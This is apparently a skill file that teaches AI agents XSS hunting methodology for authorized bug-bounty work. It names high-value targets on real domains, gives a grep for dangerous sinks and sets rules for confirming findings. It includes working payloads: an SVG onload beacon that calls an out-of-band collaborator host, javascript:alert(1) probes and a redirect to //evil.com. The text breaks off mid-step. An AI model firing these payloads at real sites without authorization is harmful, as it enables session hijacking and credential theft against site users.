hunt-xss – Security skill for AI agents

When to Use

Use when the target has any endpoint where user input is reflected in HTML output, processed by a JavaScript framework, or stored for later display. XSS is the foundational client-side vulnerability class — it enables session hijacking, data theft, phishing, and account takeover. Every form, search field, URL parameter, file upload, and user-controlled field is a candidate. Highest-value targets: admin panels, OAuth sign-in pages, markdown/wiki renderers, email templates, file upload endpoints (SVG/HTML), and help/documentation sites with looser security posture.

⚠️ CRITICAL: Presence ≠ Exploitation

Reflection of HTML tags does NOT mean XSS is exploitable. Modern frameworks escape text by default. Before calling a finding XSS, you MUST verify the sink:

| Framework | Default Behavior | XSS Possible Only With |

|-----------|-----------------|----------------------|

| React/JSX | Escapes all text | dangerouslySetInnerHTML, innerHTML on refs |

| Vue | Escapes {{ }} | v-html directive |

| Angular | Escapes {{ }} | [innerHTML] binding |

| Svelte | Escapes { } | {@html} tag |

| Next.js RSC | Escapes JSX text | dangerouslySetInnerHTML in components |

| Plain HTML/JS | Does NOT escape | innerHTML, document.write(), eval() |

XSS verification checklist:

1. ✅ Payload is REFLECTED/STORED in response (presence)

2. ✅ Payload appears in a RENDERABLE context (sink check)

3. ✅ Payload EXECUTES in browser (proof of exploitation)

If step 1 passes but step 2 fails → LOW: HTML storage without exploitable sink. The React ecosystem alone prevents ~90% of apparent XSS because JSX auto-escapes.

How to Check for Sinks:

# In JS bundles — search for dangerous rendering patterns
grep -rEn 'dangerouslySetInnerHTML|innerHTML|outerHTML|v-html|\[innerHTML\]|\{@html\}|insertAdjacentHTML|document\.write\(|eval\(' /tmp/target_js/

# If NONE appear near the reflected field → NOT exploitable XSS
# If found → verify the specific field reaches that sink

Crown Jewel Targets

XSS is high-value when it combines privileged context + persistent delivery + scope escalation. The highest payouts come from:

• Admin panels and authenticated dashboards (e.g., */admin, */settings) — attacker can hijack sessions with elevated privileges, exfiltrate tokens, or pivot to account takeover
• Payment/financial flows (paypal.com, checkout pages, currency converters) — XSS here enables credential harvesting and financial fraud at scale
• Stored XSS in collaborative features (wikis, markdown renderers, issue trackers, RDoc, labels, tags) — one payload infects every viewer, multiplying impact
• SSO/signin pages (e.g., paypal.com/signin) — XSS here is critical because it can steal auth tokens across the entire platform
• Shared SaaS tenant surfaces (*.[SHOPIFY_STORE], api.collabs.*) — XSS in one tenant's context can bleed across tenant boundaries
• Help/documentation sites (help.shopify.com) — lower severity individually, but often have looser sanitization and trusted user perception
• SVG/file upload endpoints — frequently bypasses CSP and sanitization simultaneously

Asset types that pay most: Main product domains > Admin subdomains > API endpoints > Marketing/help sites

---

OOB-Or-It-Didn't-Happen Gate (Blind / Stored XSS)

For blind and stored XSS — claims require an out-of-band confirmation, the same as blind SSRF. The OOB receiver fires when the payload actually executes in a browser somewhere (an admin reviewing logs, a SOC analyst opening a ticket, an email rendering a stored payload).

What is NOT confirmation

• ASP.NET request validator rejected your < and returned a different status code → not XSS, that's WAF noise.
• Your payload appears in the response body URL-encoded or HTML-encoded → not XSS, that's correct output encoding.
• The form action attribute contains your payload string as %22onclick%3D… → not XSS, the browser does NOT decode URL encoding inside HTML attribute values; the %22 stays as literal %22 in the DOM.
• Your <script> tag appears in the response as <script> → not XSS, that's escaping.

What IS confirmation

• A request to your unique Collaborator subdomain (e.g., bxss-err-<random>.<collab>.oastify.com) arrives in the OOB listener after your payload was stored / reflected / queued.
• For stored XSS: the request arrives hours or days later when an admin views the affected resource. Plant payloads early in the engagement and keep the listener open.
• The User-Agent of the firing request is a browser (Mozilla/Chrome), not the server's own backend HTTP client.

Where to plant blind-XSS beacons

Any field whose value might be viewed in an admin UI / log viewer / email / report later:

• Error messages (?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>)
• Auth-flow source params (?Source=, ?ReturnUrl=)
• Login form username field (admin may view audit logs of failed logins)
• User-Agent header (some SOC consoles render UA as HTML)
• Referer header (some analytics dashboards render Referer as HTML)
• Email addresses on registration / contact forms
• File-upload filenames

Always sub-tag the Collaborator subdomain by sink so callbacks identify which field fired.

Lesson from a authorized engagement: 10 blind-XSS Collaborator beacons planted across ErrorMessage, Source, the Authentication.asmx username field, User-Agent header, Referer header, and request paths. Zero callbacks over a 10-minute polling window. Conclusion: the SharePoint SOC views logs / errors in tooling that does not render HTML, AND the ASP.NET request validator blocks < in query strings before the payload reaches storage. Stored-XSS claim correctly retracted.

---

Attack Surface Signals

URL Patterns:

/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*

Response Headers (weak defense signals):

Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0

JS Patterns in source that signal DOM XSS:

document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval(
setTimeout(string,
setInterval(string,
$.html(
$(location

Tech Stack Signals:

• Rails applications using html_safe, raw, translate, Action Text, or ActionView sanitize helpers
• GitLab/GitHub markdown pipelines (Banzai, Kramdown, RDoc, Kroki)
• Applications allowing SVG uploads or rendering
• Sites using style tag in allowlists
• Kroki/Mermaid/PlantUML diagram rendering endpoints
• Cache layers in front of authenticated pages (cache poisoning vector)

---

Step-by-Step Hunting Methodology

1. Map all reflection points — Spider the target and identify every place user input appears in HTML output. Prioritize URL parameters, form fields, path segments, unique markers, HTTP headers (User-Agent, Referer), file upload names/contents, and API response fields rendered in the UI.

2. Classify by type — Determine if each reflection is reflected (URL parameter → response), stored (database → later rendering), or DOM-based (JavaScript reads URL/storage → DOM sink). Each requires different delivery and context-aware analysis.

3. Probe sanitizer behavior — Send harmless canary strings first: aaa"bbb'ccc<ddd to determine which characters are escaped. Observe if output is in HTML context, attribute context, JS context, or URL context.

Marker Discipline: When choosing canary strings, they MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: test, marker, evil, attacker, payload, javascript, script. Good markers: cpmark987abc, x4hd2k9pq, __ZZ_MARKER_<random>_ZZ__. Before claiming reflection, search the baseline (no-marker) response for the marker — if it appears naturally in the page (e.g., the word javascript is in every page's help-link hrefs), it's a false-positive trap and you need a different marker. This single check catches 80% of false-positive reflection reports.

4. Test allowlisted tag combinations — If a sanitizer is in use, probe for dangerous tag combos: <math>+<style>, <svg>+<style>, <iframe srcdoc>, <style> with expressions.

5. Hunt SVG and file upload vectors — Upload SVG files containing <script> tags. Check Content-Type response header. Test if CSP applies to SVG responses separately.

6. Test markdown/documentation renderers — In wiki, README, or doc fields, try: [text](javascript:alert(1)), inline HTML injection, Kroki/Mermaid payloads, RDoc link:javascript: syntax.

7. Check redirect parameters — Test ?redirect=javascript:alert(1) and ?return_url=//evil.com — look for single-click XSS via improper redirect sanitization.

8. **P

… (full content is in the download package)